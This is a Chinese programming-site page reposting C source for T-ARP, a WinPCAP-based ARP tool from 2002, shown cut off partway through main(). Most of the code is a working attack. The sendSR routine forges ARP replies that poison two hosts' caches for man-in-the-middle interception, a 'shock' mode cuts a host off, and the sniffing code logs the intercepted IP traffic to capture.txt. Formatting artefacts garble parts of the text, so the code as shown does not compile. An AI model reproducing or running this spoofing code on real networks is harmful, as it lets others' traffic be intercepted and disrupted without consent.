您的位置:首页 > 编程语言

详谈调用winpcap驱动写arp多功能工具-T-ARP源代码

2008-06-03 09:18 405 查看
[align=left]#include "packet32.h"[/align]
[align=left]#include "ntddndis.h"[/align]
[align=left]#include <stdio.h>[/align]
[align=left]#include <conio.h>[/align]
[align=left] [/align]
[align=left]#pragma comment(lib,"ws2_32")[/align]
[align=left]#pragma comment(lib,"packet")[/align]
[align=left] [/align]
[align=left]#define ETH_IP 0x0800[/align]
[align=left]#define ETH_ARP 0x0806[/align]
[align=left]#define ARP_REQUEST 0x0001[/align]
[align=left]#define ARP_REPLY 0x0002[/align]
[align=left]#define ARP_HARDWARE 0x0001[/align]
[align=left]#define max_num_adapter 10[/align]
[align=left] [/align]
[align=left]#pragma pack(push,1)[/align]
[align=left] [/align]
[align=left]typedef struct ethdr[/align]
[align=left]{[/align]
[align=left] unsigned char eh_dst[6];[/align]
[align=left] unsigned char eh_src[6];[/align]
[align=left] unsigned short eh_type;[/align]
[align=left]}ETHDR,*PETHDR;[/align]
[align=left] [/align]
[align=left]typedef struct arphdr[/align]
[align=left]{[/align]
[align=left] unsigned short arp_hdr;[/align]
[align=left] unsigned short arp_pro;[/align]
[align=left] unsigned char arp_hln;[/align]
[align=left] unsigned char arp_pln;[/align]
[align=left] unsigned short arp_opt;[/align]
[align=left] unsigned char arp_sha[6];[/align]
[align=left] unsigned long arp_spa;[/align]
[align=left] unsigned char arp_tha[6];[/align]
[align=left] unsigned long arp_tpa;[/align]
[align=left]}ARPHDR,*PARPHDR;[/align]
[align=left] [/align]
[align=left]typedef struct iphdr[/align]
[align=left]{[/align]
[align=left] unsigned char h_lenver;[/align]
[align=left] unsigned char tos;[/align]
[align=left] unsigned short total_len;[/align]
[align=left] unsigned short ident;[/align]
[align=left] unsigned short frag_and_flags;[/align]
[align=left] unsigned char ttl;[/align]
[align=left] unsigned char proto;[/align]
[align=left] unsigned short checksum;[/align]
[align=left] unsigned int sourceip;[/align]
[align=left] unsigned int destip;[/align]
[align=left]}IPHDR,*PIPHDR;[/align]
[align=left] [/align]
[align=left]#pragma pack(push)[/align]
[align=left] [/align]
[align=left]LPADAPTER lpadapter=0;[/align]
[align=left]LPPACKET lppacketr,lppackets;[/align]
[align=left]ULONG myip,firstip,secondip;[/align]
[align=left]UCHAR mmac[6]={0},fmac[6]={0},smac[6]={0};[/align]
[align=left]BOOL mm=FALSE,fm=FALSE,sm=FALSE; [/align]
[align=left]FILE *fp; [/align]
[align=left]char adapterlist[max_num_adapter][1024];[/align]
[align=left]char msg[50];[/align]
[align=left]int num=0;[/align]
[align=left] [/align]
[align=left]void start()[/align]
[align=left]{[/align]
[align=left] printf("T-ARP --- ARP Tools, by TOo2y(??), 11-9-2002/n");[/align]
[align=left] printf("Homepage: www.safechina.net/n");[/align]
[align=left] printf("E-mail: TOo2y@safechina.net/n");[/align]
[align=left] return ;[/align]
[align=left]}[/align]
[align=left] [/align]
[align=left]void usage()[/align]
[align=left]{[/align]
[align=left] printf("/nUsage: T-ARP [-m|-a|-s|-r] firstip secondip /n/n");[/align]
[align=left] printf("Option:/n");[/align]
[align=left] printf(" -m mac Get the mac address from firstip to secondip/n");[/align]
[align=left] printf(" -a antisniff Get the sniffing host from firstip to secondip/n");[/align]
[align=left] printf(" -s spoof 1> Spoof the host between firstip and secondip/n");[/align]
[align=left] printf(" sniff 2> Sniff if firstip == secondip == your own ip/n");[/align]
[align=left] printf(" shock 3> Shock if firstip == secondip != your own ip/n");[/align]
[align=left] printf(" -r reset Reset the spoofed host work normally/n/n");[/align]
[align=left] printf("Attention:/n");[/align]
[align=left] printf(" 1> You must have installed the winpcap_2.3 or winpcap_3.0_alpha/n");[/align]
[align=left] printf(" 2> HKEY_LOCAL_MACHINE//SYSTEM//CurrentControlSet//Services//Tcpip//Parameters//IPEnableRouter == 0x1/n/n");[/align]
[align=left] return ;[/align]
[align=left]}[/align]
[align=left] [/align]
[align=left]int getmine()[/align]
[align=left]{[/align]
[align=left] char sendbuf[1024];[/align]
[align=left] int k;[/align]
[align=left] ETHDR eth;[/align]
[align=left] ARPHDR arp;[/align]
[align=left] [/align]
[align=left] for(k=0;k<6;k++)[/align]
[align=left] {[/align]
[align=left] eth.eh_dst[k]=0xff;[/align]
[align=left] eth.eh_src[k]=0x82;[/align]
[align=left] arp.arp_sha[k]=0x82;[/align]
[align=left] arp.arp_tha[k]=0x00;[/align]
[align=left] }[/align]
[align=left] eth.eh_type=htons(ETH_ARP);[/align]
[align=left] arp.arp_hdr=htons(ARP_HARDWARE);[/align]
[align=left] arp.arp_pro=htons(ETH_IP);[/align]
[align=left] arp.arp_hln=6;[/align]
[align=left] arp.arp_pln=4;[/align]
[align=left] arp.arp_opt=htons(ARP_REQUEST);[/align]
[align=left] arp.arp_tpa=htonl(myip);[/align]
[align=left] arp.arp_spa=inet_addr("112.112.112.112");[/align]
[align=left] [/align]
[align=left] memset(sendbuf,0,sizeof(sendbuf));[/align]
[align=left] memcpy(sendbuf,ð,sizeof(eth));[/align]
[align=left] memcpy(sendbuf+sizeof(eth),&arp,sizeof(arp));[/align]
[align=left] [/align]
[align=left] PacketInitPacket(lppackets,sendbuf,sizeof(eth)+sizeof(arp));[/align]
[align=left] if(PacketSendPacket(lpadapter,lppackets,TRUE)==FALSE)[/align]
[align=left] {[/align]
[align=left] printf("PacketSendPacket in getmine Error: %d/n",GetLastError());[/align]
[align=left] return -1; [/align]
[align=left] }[/align]
[align=left] return 0;[/align]
[align=left]}[/align]
[align=left] [/align]
[align=left]void getdata(LPPACKET lp,int op) [/align]
[align=left]{[/align]
[align=left] ULONG ulbytesreceived,off,tlen,ulen,ulLines;[/align]
[align=left] ULONG j,k;[/align]
[align=left] ETHDR *eth;[/align]
[align=left] ARPHDR *arp;[/align]
[align=left] PIPHDR ip;[/align]
[align=left] char *buf,*pChar,*pLine,*base;[/align]
[align=left] struct bpf_hdr *hdr;[/align]
[align=left] struct sockaddr_in sin;[/align]
[align=left] [/align]
[align=left] ulbytesreceived=lp->ulBytesReceived;[/align]
[align=left] buf=(char *)lp->Buffer;[/align]
[align=left] [/align]
[align=left] off=0;[/align]
[align=left] while(off<ulbytesreceived)[/align]
[align=left] {[/align]
[align=left] if(kbhit())[/align]
[align=left] {[/align]
[align=left] return ;[/align]
[align=left] }[/align]
[align=left] hdr=(struct bpf_hdr *)(buf+off);[/align]
[align=left] off+=hdr->bh_hdrlen;[/align]
[align=left] [/align]
[align=left] pChar=(char *)(buf+off);[/align]
[align=left] base=pChar;[/align]
[align=left] off=Packet_WORDALIGN(off+hdr->bh_caplen);[/align]
[align=left] [/align]
[align=left] eth=(PETHDR)pChar; [/align]
[align=left] arp=(PARPHDR)(pChar+sizeof(ETHDR)); [/align]
[align=left] [/align]
[align=left] if(eth->eh_type==htons(ETH_IP)) [/align]
[align=left] {[/align]
[align=left] ip=(PIPHDR)(pChar+sizeof(ETHDR));[/align]
[align=left] [/align]
[align=left] if(fm && sm && (op==3)) [/align]
[align=left] { [/align]
[align=left] if((((ip->sourceip!=htonl(myip)) && (ip->destip!=htonl(myip)) [/align]
[align=left] && !strcmp((char *)eth->eh_dst,(char *)mmac)) [/align]
[align=left] && ((ip->sourceip==htonl(firstip)) || (ip->destip==htonl(firstip)) [/align]
[align=left] || (ip->sourceip==htonl(secondip)) || (ip->destip==htonl(secondip))))[/align]
[align=left] || ((firstip==myip) && (secondip==myip)))[/align]
[align=left] {[/align]
[align=left] memset(msg,0,sizeof(msg));[/align]
[align=left] [/align]
[align=left] sin.sin_addr.s_addr=ip->sourceip; [/align]
[align=left] printf("[IP:]%16s ---> [IP:]",inet_ntoa(sin.sin_addr));[/align]
[align=left] [/align]
[align=left] strcpy(msg,inet_ntoa(sin.sin_addr));[/align]
[align=left] strcat(msg+15," ---> ");[/align]
[align=left] [/align]
[align=left] sin.sin_addr.s_addr=ip->destip;[/align]
[align=left] printf("%16s/n",inet_ntoa(sin.sin_addr));[/align]
[align=left] [/align]
[align=left] strcat(msg+23,inet_ntoa(sin.sin_addr));[/align]
[align=left] fseek(fp,-2,1);[/align]
[align=left] fwrite("/r/n/r/n/r/n",6,1,fp);[/align]
[align=left] fwrite(msg,38,1,fp);[/align]
[align=left] fwrite("/r/n",2,1,fp);[/align]
[align=left] [/align]
[align=left] ulLines=(hdr->bh_caplen+15)/16;[/align]
[align=left] for(k=0;k<ulLines;k++)[/align]
[align=left] {[/align]
[align=left] pLine=pChar;[/align]
[align=left] printf("%08lx : ",pChar-base);[/align]
[align=left] [/align]
[align=left] ulen=tlen;[/align]
[align=left] ulen=(ulen>16) ? 16 : ulen;[/align]
[align=left] tlen-=ulen;[/align]
[align=left] [/align]
[align=left] for(j=0;j<ulen;j++)[/align]
[align=left] printf("%02x ",*(BYTE *)pChar++);[/align]
[align=left] [/align]
[align=left] if(ulen<16)[/align]
[align=left] printf("%*s",(16-ulen)*3," ");[/align]
[align=left] [/align]
[align=left] pChar=pLine;[/align]
[align=left] [/align]
[align=left] for(j=0;j<ulen;j++,pChar++)[/align]
[align=left] {[/align]
[align=left] printf("%c",isprint(*pChar)? *pChar : ''.'');[/align]
[align=left] fputc(isprint(*pChar) ? *pChar : ''.'',fp); [/align]
[align=left] }[/align]
[align=left] printf("/n");[/align]
[align=left] }[/align]
[align=left] printf("/n");[/align]
[align=left] fwrite("/r/n",2,1,fp); [/align]
[align=left] }[/align]
[align=left] [/align]
[align=left] }[/align]
[align=left] continue;[/align]
[align=left] }[/align]
[align=left] else if((eth->eh_type==htons(ETH_ARP)) && (arp->arp_opt==htons(ARP_REPLY))) [/align]
[align=left] {[/align]
[align=left] sin.sin_addr.s_addr=arp->arp_spa;[/align]
[align=left] [/align]
[align=left] if(sin.sin_addr.s_addr==htonl(myip)) [/align]
[align=left] {[/align]
[align=left] memcpy(mmac,eth->eh_src,6);[/align]
[align=left] if(!mm)[/align]
[align=left] {[/align]
[align=left] printf("/t"); [/align]
[align=left] for(k=0;k<5;k++)[/align]
[align=left] printf("%.2x-",eth->eh_src[k]);[/align]
[align=left] printf("%.2x/n",eth->eh_src[5]);[/align]
[align=left] [/align]
[align=left] switch(op)[/align]
[align=left] {[/align]
[align=left] case 1:[/align]
[align=left] printf("/n[MAC LIST:]");[/align]
[align=left] break;[/align]
[align=left] case 2:[/align]
[align=left] printf("/n[Sniffing Host:]"); [/align]
[align=left] break;[/align]
[align=left] default: [/align]
[align=left] break;[/align]
[align=left] }[/align]
[align=left] }[/align]
[align=left] mm=TRUE;[/align]
[align=left] }[/align]
[align=left] [/align]
[align=left] if((op==1) || (op==2))[/align]
[align=left] {[/align]
[align=left] printf("/n[IP:] %.16s/t[MAC:] ",inet_ntoa(sin.sin_addr));[/align]
[align=left] for(k=0;k<5;k++)[/align]
[align=left] printf("%.2x-",eth->eh_src[k]);[/align]
[align=left] printf("%.2x",eth->eh_src[5]);[/align]
[align=left] [/align]
[align=left] }[/align]
[align=left] else if(((op==3) || (op==4)) && (!fm || !sm))[/align]
[align=left] {[/align]
[align=left] if(arp->arp_spa==htonl(firstip))[/align]
[align=left] {[/align]
[align=left] memcpy(fmac,eth->eh_src,6);[/align]
[align=left] fm=TRUE;[/align]
[align=left] }[/align]
[align=left] [/align]
[align=left] if(arp->arp_spa==htonl(secondip))[/align]
[align=left] {[/align]
[align=left] memcpy(smac,eth->eh_src,6);[/align]
[align=left] sm=TRUE;[/align]
[align=left] }[/align]
[align=left] }[/align]
[align=left] }[/align]
[align=left] }[/align]
[align=left] return ;[/align]
[align=left]}[/align]
[align=left] [/align]
[align=left]DWORD WINAPI sniff(LPVOID no)[/align]
[align=left]{[/align]
[align=left] int option=*(int *)no;[/align]
[align=left] char recvbuf[1024*250];[/align]
[align=left] [/align]
[align=left] if(PacketSetHwFilter(lpadapter,NDIS_PACKET_TYPE_PROMISCUOUS)==FALSE)[/align]
[align=left] {[/align]
[align=left] printf("Warning: Unable to set the adapter to promiscuous mode/n");[/align]
[align=left] }[/align]
[align=left] [/align]
[align=left] if(PacketSetBuff(lpadapter,500*1024)==FALSE)[/align]
[align=left] {[/align]
[align=left] printf("PacketSetBuff Error: %d/n",GetLastError());[/align]
[align=left] return -1;[/align]
[align=left] }[/align]
[align=left] [/align]
[align=left] if(PacketSetReadTimeout(lpadapter,1)==FALSE)[/align]
[align=left] {[/align]
[align=left] printf("Warning: Unable to set the timeout/n");[/align]
[align=left] }[/align]
[align=left] [/align]
[align=left] if((lppacketr=PacketAllocatePacket())==FALSE)[/align]
[align=left] {[/align]
[align=left] printf("PacketAllocatePacket receive Error: %d/n",GetLastError());[/align]
[align=left] return -1;[/align]
[align=left] }[/align]
[align=left] [/align]
[align=left] PacketInitPacket(lppacketr,(char *)recvbuf,sizeof(recvbuf));[/align]
[align=left] [/align]
[align=left] while(!kbhit())[/align]
[align=left] {[/align]
[align=left] if(PacketReceivePacket(lpadapter,lppacketr,TRUE)==FALSE)[/align]
[align=left] {[/align]
[align=left] return -1;[/align]
[align=left] }[/align]
[align=left] getdata(lppacketr,option);[/align]
[align=left] }[/align]
[align=left] return 0;[/align]
[align=left]}[/align]
[align=left] [/align]
[align=left]DWORD WINAPI sendMASR(LPVOID no)[/align]
[align=left]{[/align]
[align=left] int fun=*(int *)no;[/align]
[align=left] int k,stimes;[/align]
[align=left] char sendbuf[1024];[/align]
[align=left] ETHDR eth;[/align]
[align=left] ARPHDR arp;[/align]
[align=left] [/align]
[align=left] if(fun<1 || fun>4)[/align]
[align=left] {[/align]
[align=left] return -1;[/align]
[align=left] }[/align]
[align=left] else[/align]
[align=left] {[/align]
[align=left] for(k=0;k<6;k++)[/align]
[align=left] {[/align]
[align=left] eth.eh_dst[k]=0xff;[/align]
[align=left] arp.arp_tha[k]=0x00;[/align]
[align=left] }[/align]
[align=left] if(fun==2)[/align]
[align=left] eth.eh_dst[5]=0xfe;[/align]
[align=left] }[/align]
[align=left] [/align]
[align=left] memcpy(eth.eh_src,mmac,6);[/align]
[align=left] eth.eh_type=htons(ETH_ARP);[/align]
[align=left] [/align]
[align=left] arp.arp_hdr=htons(ARP_HARDWARE);[/align]
[align=left] arp.arp_pro=htons(ETH_IP);[/align]
[align=left] arp.arp_hln=6;[/align]
[align=left] arp.arp_pln=4;[/align]
[align=left] arp.arp_opt=htons(ARP_REQUEST);[/align]
[align=left] arp.arp_spa=htonl(myip);[/align]
[align=left] memcpy(arp.arp_sha,mmac,6);[/align]
[align=left] [/align]
[align=left] if(fun==1 || fun==2)[/align]
[align=left] stimes=1;[/align]
[align=left] else if(fun==3 || fun==4)[/align]
[align=left] stimes=2;[/align]
[align=left] [/align]
[align=left] for(k=0;k<stimes;k++)[/align]
[align=left] {[/align]
[align=left] if(stimes==1)[/align]
[align=left] {[/align]
[align=left] arp.arp_tpa=htonl(firstip+(num++));[/align]
[align=left] }[/align]
[align=left] else if(stimes==2)[/align]
[align=left] {[/align]
[align=left] switch(k)[/align]
[align=left] {[/align]
[align=left] case 0:[/align]
[align=left] arp.arp_tpa=htonl(firstip);[/align]
[align=left] break;[/align]
[align=left] case 1:[/align]
[align=left] arp.arp_tpa=htonl(secondip);[/align]
[align=left] break;[/align]
[align=left] default:[/align]
[align=left] break;[/align]
[align=left] }[/align]
[align=left] }[/align]
[align=left] [/align]
[align=left] memset(sendbuf,0,sizeof(sendbuf));[/align]
[align=left] memcpy(sendbuf,ð,sizeof(eth));[/align]
[align=left] memcpy(sendbuf+sizeof(eth),&arp,sizeof(arp));[/align]
[align=left] [/align]
[align=left] PacketInitPacket(lppackets,sendbuf,sizeof(eth)+sizeof(arp));[/align]
[align=left] if(PacketSendPacket(lpadapter,lppackets,TRUE)==FALSE)[/align]
[align=left] {[/align]
[align=left] printf("PacketSendPacket in sendMASR Error: %d/n",GetLastError());[/align]
[align=left] return -1;[/align]
[align=left] }[/align]
[align=left] }[/align]
[align=left] return 0;[/align]
[align=left]}[/align]
[align=left] [/align]
[align=left]DWORD WINAPI sendSR(LPVOID no)[/align]
[align=left]{[/align]
[align=left] int fun=*(int *)no;[/align]
[align=left] int j,k;[/align]
[align=left] char sendbuf[1024];[/align]
[align=left] struct sockaddr_in fsin,ssin;[/align]
[align=left] BOOL stimes=FALSE;[/align]
[align=left] ETHDR eth;[/align]
[align=left] ARPHDR arp;[/align]
[align=left] [/align]
[align=left] fsin.sin_addr.s_addr=htonl(firstip);[/align]
[align=left] ssin.sin_addr.s_addr=htonl(secondip);[/align]
[align=left] [/align]
[align=left] eth.eh_type=htons(ETH_ARP);[/align]
[align=left] arp.arp_hdr=htons(ARP_HARDWARE);[/align]
[align=left] arp.arp_pro=htons(ETH_IP);[/align]
[align=left] arp.arp_hln=6;[/align]
[align=left] arp.arp_pln=4;[/align]
[align=left] arp.arp_opt=htons(ARP_REPLY); [/align]
[align=left] [/align]
[align=left] if(fun==3)[/align]
[align=left] {[/align]
[align=left] if(mm)[/align]
[align=left] {[/align]
[align=left] if((firstip==myip) && (secondip==myip))[/align]
[align=left] {[/align]
[align=left] fm=TRUE;[/align]
[align=left] sm=TRUE;[/align]
[align=left] [/align]
[align=left] memcpy(fmac,mmac,6);[/align]
[align=left] memcpy(smac,mmac,6);[/align]
[align=left] }[/align]
[align=left] else if(!fm || !sm)[/align]
[align=left] {[/align]
[align=left] printf("/nNot get enough data/n"); [/align]
[align=left] return -1;[/align]
[align=left] }[/align]
[align=left] [/align]
[align=left] for(j=0;j<2;j++)[/align]
[align=left] {[/align]
[align=left] if(j==0)[/align]
[align=left] {[/align]
[align=left] printf("/nSpoofing %.16s : ",inet_ntoa(fsin.sin_addr));[/align]
[align=left] printf("%.16s ==> ",inet_ntoa(ssin.sin_addr));[/align]
[align=left] }[/align]
[align=left] else if(j==1)[/align]
[align=left] {[/align]
[align=left] printf("Spoofing %.16s : ",inet_ntoa(ssin.sin_addr));[/align]
[align=left] printf("%.16s ==> ",inet_ntoa(fsin.sin_addr));[/align]
[align=left] }[/align]
[align=left] for(k=0;k<5;k++)[/align]
[align=left] printf("%.2x-",mmac[k]);[/align]
[align=left] printf("%.2x/n",mmac[5]);[/align]
[align=left] }[/align]
[align=left] printf("/ni will try to snoof .../n/n");[/align]
[align=left] stimes=TRUE;[/align]
[align=left] }[/align]
[align=left] else [/align]
[align=left] {[/align]
[align=left] printf("/nNot get enough data/n"); [/align]
[align=left] return -1;[/align]
[align=left] }[/align]
[align=left] }[/align]
[align=left] else if(fun==4)[/align]
[align=left] {[/align]
[align=left] if(mm) [/align]
[align=left] {[/align]
[align=left] if((firstip==myip) && (secondip==myip))[/align]
[align=left] {[/align]
[align=left] fm=TRUE;[/align]
[align=left] sm=TRUE;[/align]
[align=left] [/align]
[align=left] memcpy(fmac,mmac,6);[/align]
[align=left] memcpy(smac,mmac,6);[/align]
[align=left] }[/align]
[align=left] else if(!fm || !sm)[/align]
[align=left] {[/align]
[align=left] printf("/nNot get enough data/n");[/align]
[align=left] return -1;[/align]
[align=left] }[/align]
[align=left] [/align]
[align=left] printf("/nReset %.16s : ",inet_ntoa(fsin.sin_addr));[/align]
[align=left] printf("%.16s ==> ",inet_ntoa(ssin.sin_addr));[/align]
[align=left] [/align]
[align=left] for(k=0;k<5;k++)[/align]
[align=left] printf("%.2x-",smac[k]);[/align]
[align=left] printf("%.2x/n",smac[5]);[/align]
[align=left] [/align]
[align=left] printf("Reset %.16s : ",inet_ntoa(ssin.sin_addr));[/align]
[align=left] printf("%.16s ==> ",inet_ntoa(fsin.sin_addr));[/align]
[align=left] [/align]
[align=left] for(k=0;k<5;k++)[/align]
[align=left] printf("%.2x-",fmac[k]);[/align]
[align=left] printf("%.2x/n/n",fmac[5]);[/align]
[align=left] [/align]
[align=left] stimes=FALSE;[/align]
[align=left] }[/align]
[align=left] else [/align]
[align=left] {[/align]
[align=left] printf("/nNot get enough data/n"); [/align]
[align=left] return -1;[/align]
[align=left] }[/align]
[align=left] }[/align]
[align=left] else[/align]
[align=left] return -1;[/align]
[align=left] [/align]
[align=left] do[/align]
[align=left] {[/align]
[align=left] memcpy(eth.eh_dst,fmac,6);[/align]
[align=left] memcpy(arp.arp_tha,fmac,6);[/align]
[align=left] arp.arp_tpa=htonl(firstip);[/align]
[align=left] arp.arp_spa=htonl(secondip);[/align]
[align=left] [/align]
[align=left] if(!stimes)[/align]
[align=left] {[/align]
[align=left] memcpy(eth.eh_src,smac,6);[/align]
[align=left] memcpy(arp.arp_sha,smac,6);[/align]
[align=left] }[/align]
[align=left] else[/align]
[align=left] {[/align]
[align=left] memcpy(eth.eh_src,mmac,6);[/align]
[align=left] memcpy(arp.arp_sha,mmac,6);[/align]
[align=left] }[/align]
[align=left] [/align]
[align=left] memset(sendbuf,0,sizeof(sendbuf));[/align]
[align=left] memcpy(sendbuf,ð,sizeof(eth));[/align]
[align=left] memcpy(sendbuf+sizeof(eth),&arp,sizeof(arp));[/align]
[align=left] [/align]
[align=left] PacketInitPacket(lppackets,sendbuf,sizeof(eth)+sizeof(arp));[/align]
[align=left] [/align]
[align=left] if(PacketSetNumWrites(lpadapter,2)==FALSE)[/align]
[align=left] {[/align]
[align=left] printf("Warning: Unable to send a packet 2 times/n");[/align]
[align=left] }[/align]
[align=left] [/align]
[align=left] if(PacketSendPacket(lpadapter,lppackets,TRUE)==FALSE)[/align]
[align=left] {[/align]
[align=left] printf("PacketSendPacket in SendSR Error: %d/n",GetLastError());[/align]
[align=left] return -1;[/align]
[align=left] }[/align]
[align=left] Sleep(1000); [/align]
[align=left] [/align]
[align=left] memcpy(eth.eh_dst,smac,6);[/align]
[align=left] memcpy(arp.arp_tha,smac,6);[/align]
[align=left] arp.arp_tpa=htonl(secondip);[/align]
[align=left] arp.arp_spa=htonl(firstip);[/align]
[align=left] [/align]
[align=left] if(!stimes)[/align]
[align=left] {[/align]
[align=left] memcpy(eth.eh_src,fmac,6);[/align]
[align=left] memcpy(arp.arp_sha,fmac,6);[/align]
[align=left] }[/align]
[align=left] else [/align]
[align=left] {[/align]
[align=left] memcpy(eth.eh_src,mmac,6);[/align]
[align=left] memcpy(arp.arp_sha,mmac,6);[/align]
[align=left] }[/align]
[align=left] [/align]
[align=left] [/align]
[align=left] memset(sendbuf,0,sizeof(sendbuf));[/align]
[align=left] memcpy(sendbuf,ð,sizeof(eth));[/align]
[align=left] memcpy(sendbuf+sizeof(eth),&arp,sizeof(arp));[/align]
[align=left] [/align]
[align=left] PacketInitPacket(lppackets,sendbuf,sizeof(eth)+sizeof(arp));[/align]
[align=left] if(PacketSendPacket(lpadapter,lppackets,TRUE)==FALSE)[/align]
[align=left] {[/align]
[align=left] printf("PacketSendPacket int sendSR Error: %d/n",GetLastError());[/align]
[align=left] return -1;[/align]
[align=left] }[/align]
[align=left] Sleep(1000);[/align]
[align=left] }while(stimes);[/align]
[align=left] [/align]
[align=left] if(fun==4)[/align]
[align=left] printf("Reset Successfully");[/align]
[align=left] [/align]
[align=left] return 0;[/align]
[align=left]}[/align]
[align=left] [/align]
[align=left]int main(int argc,char *argv[])[/align]
[align=left]{[/align]
[align=left] HANDLE sthread,rthread;[/align]
[align=left] WCHAR adaptername[8192];[/align]
[align=left] WCHAR *name1,*name2;[/align]
[align=left] ULONG adapterlength;[/align]
[align=left] DWORD threadsid,threadrid;[/align]
[align=left] struct NetType ntype;[/align]
[align=left] struct bpf_stat stat;[/align]
[align=left] struct sockaddr_in sin;[/align]
[align=left] struct npf_if_addr ipbuff;[/align]
[align=left] int adapternum=0,opti=0,open,i,total;[/align]
[align=left] long npflen;[/align]
[align=left] [/align]
[align=left] system("cls.exe");[/align]
[align=left] start();[/align]
[align=left] [/align]
[align=left] if(argc!=4)[/align]
[align=left] {[/align]
[align=left] usage();[/align]
[align=left] getche();[/align]
[align=left] return -1;[/align]
[align=left] }[/align]
[align=left] else[/align]
[align=left] {[/align]
[align=left] if(!strcmp(argv[1],"-m"))[/align]
[align=left] {[/align]
[align=left] opti=1;[/align]
[align=left] }[/align]
[align=left] else if(!strcmp(argv[1],"-a"))[/align]
[align=left] {[/align]
[align=left] opti=2;[/align]
[align=left] }[/align]
[align=left] else if(!strcmp(argv[1],"-s"))[/align]
[align=left] {[/align]
[align=left] opti=3;[/align]
[align=left] [/align]
[align=left] if((fp=fopen("capture.txt","w+"))==NULL)[/align]
[align=left] {[/align]
[align=left] printf("Open capture.txt Error: %d/n");[/align]
[align=left] return -1;[/align]
[align=left] }[/align]
[align=left] else[/align]
[align=left] {[/align]
[align=left] fwrite("T-ARP Captrue Data",20,1,fp);[/align]
[align=left] }[/align]
[align=left] }[/align]
[align=left] else if(!strcmp(argv[1],"-r"))[/align]
[align=left] {[/align]
[align=left] opti=4;[/align]
[align=left] }[/align]
[align=left] else[/align]
[align=left] {[/align]
[align=left] usage();[/align]
[align=left] getche();[/align]
[align=left] return -1;[/align]
[align=left] }[/align]
[align=left] }[/align]
[align=left] [/align]
[align=left] [/align]
[align=left] firstip=ntohl(inet_addr(argv[2]));[/align]
[align=left] secondip=ntohl(inet_addr(argv[3]));[/align]
[align=left] total=secondip-firstip+1;[/align]
[align=left] [/align]
[align=left] printf("/nLibarary Version: %s",PacketGetVersion());[/align]
[align=left] [/align]
[align=left] adapterlength=sizeof(adaptername);[/align]
[align=left] [/align]
[align=left] if(PacketGetAdapterNames((char *)adaptername,&adapterlength)==FALSE)[/align]
[align=left] {[/align]
[align=left] printf("PacketGetAdapterNames Error: %d/n",GetLastError());[/align]
[align=left] return -1;[/align]
[align=left] }[/align]
[align=left] [/align]
[align=left] name1=adaptername;[/align]
[align=left] name2=adaptername;[/align]
[align=left] i=0;[/align]
[align=left] [/align]
[align=left] while((*name1!=''/0'') || (*(name1-1)!=''/0''))[/align]
[align=left] {[/align]
[align=left] if(*name1==''/0'')[/align]
[align=left] {[/align]
[align=left] memcpy(adapterlist[i],name2,2*(name1-name2));[/align]
[align=left] name2=name1+1;[/align]
[align=left] i++;[/align]
[align=left] }[/align]
[align=left] name1++;[/align]
[align=left] }[/align]
[align=left] [/align]
[align=left] adapternum=i;[/align]
[align=left] printf("/nAdapters Installed:/n");[/align]
[align=left] for(i=0;i<adapternum;i++)[/align]
[align=left] wprintf(L"%d - %s/n",i+1,adapterlist[i]);[/align]
[align=left] [/align]
[align=left] do[/align]
[align=left] {[/align]
[align=left] printf("/nSelect the number of the adapter to open: ");[/align]
[align=left] scanf("%d",&open);[/align]
[align=left] if(open>=1 && open<=adapternum)[/align]
[align=left] break; [/align]
[align=left] }while(open<1 || open>adapternum);[/align]
[align=left] [/align]
[align=left] lpadapter=PacketOpenAdapter(adapterlist[open-1]);[/align]
[align=left] [/align]
[align=left] if(!lpadapter || (lpadapter->hFile==INVALID_HANDLE_VALUE))[/align]
[align=left] {[/align]
[align=left] printf("PacketOpenAdapter Error: %d/n",GetLastError());[/align]
[align=left] return -1;[/align]
[align=left] }[/align]
[align=left] [/align]
[align=left] if(PacketGetNetType(lpadapter,&ntype))[/align]
[align=left] {[/align]
[align=left] printf("/n/t/t*** Host Information ***/n");[/align]
[align=left] printf("[LinkTpye:]/t%d/t/t",ntype.LinkType); [/align]
[align=left] printf("[LinkSpeed:]/t%d b/s/n",ntype.LinkSpeed);[/align]
[align=left] }[/align]
[align=left] [/align]
[align=left] npflen=sizeof(ipbuff); [/align]
[align=left] if(PacketGetNetInfoEx(adapterlist[open-1],&ipbuff,&npflen))[/align]
[align=left] {[/align]
[align=left] sin=*(struct sockaddr_in *)&(ipbuff.Broadcast);[/align]
[align=left] printf("[Broadcast:]/t%.16s/t",inet_ntoa(sin.sin_addr));[/align]
[align=left] [/align]
[align=left] sin=*(struct sockaddr_in *)&(ipbuff.SubnetMask);[/align]
[align=left] printf("[SubnetMask:]/t%.16s/n",inet_ntoa(sin.sin_addr));[/align]
[align=left] [/align]
[align=left] sin=*(struct sockaddr_in *)&(ipbuff.IPAddress);[/align]
[align=left] printf("[IPAddress:]/t%.16s/t",inet_ntoa(sin.sin_addr));[/align]
[align=left] myip=ntohl(sin.sin_addr.s_addr);[/align]
[align=left] [/align]
[align=left] printf("[MACAddress:]");[/align]
[align=left] }[/align]
[align=left] else[/align]
[align=left] {[/align]
[align=left] printf("/nNot get enough data/n");[/align]
[align=left] PacketFreePacket(lppackets);[/align]
[align=left] PacketCloseAdapter(lpadapter);[/align]
[align=left] return -1;[/align]
[align=left] }[/align]
[align=left] [/align]
[align=left] if((lppackets=PacketAllocatePacket())==FALSE)[/align]
[align=left] {[/align]
[align=left] printf("PacketAllocatePacket send Error: %d/n",GetLastError());[/align]
[align=left] return -1;[/align]
[align=left] }[/align]
[align=left] [/align]
[align=left] rthread=CreateThread(NULL,0,sniff,(LPVOID)&opti,0,&threadrid);[/align]
[align=left] Sleep(300);[/align]
[align=left] [/align]
[align=left] if(getmine()) [/align]
[align=left] {[/align]
[align=left] PacketFreePacket(lppackets);[/align]
[align=left] PacketFreePacket(lppacketr);[/align]
[align=left] [/align]
[align=left] PacketCloseAdapter(lpadapter);[/align]
[align=left] return -1;[/align]
[align=left] }[/align]
[align=left] Sleep(300);[/align]
[align=left] [/align]
[align=left] if((opti==1) || (opti==2))[/align]
[align=left] {[/align]
[align=left] for(i=0;i<total;i++)[/align]
[align=left] {[/align]
[align=left] sthread=CreateThread(NULL,0,sendMASR,(LPVOID)&opti,0,&threadsid);[/align]
[align=left] Sleep(30);[/align]
[align=left] }[/align]
[align=left] Sleep(1000);[/align]
[align=left] }[/align]
[align=left] else if((opti==3) || (opti==4)) [/align]
[align=left] {[/align]
[align=left] sthread=CreateThread(NULL,0,sendMASR,(LPVOID)&opti,0,&threadsid);[/align]
[align=left] Sleep(300);[/align]
[align=left] CloseHandle(sthread);[/align]
[align=left] [/align]
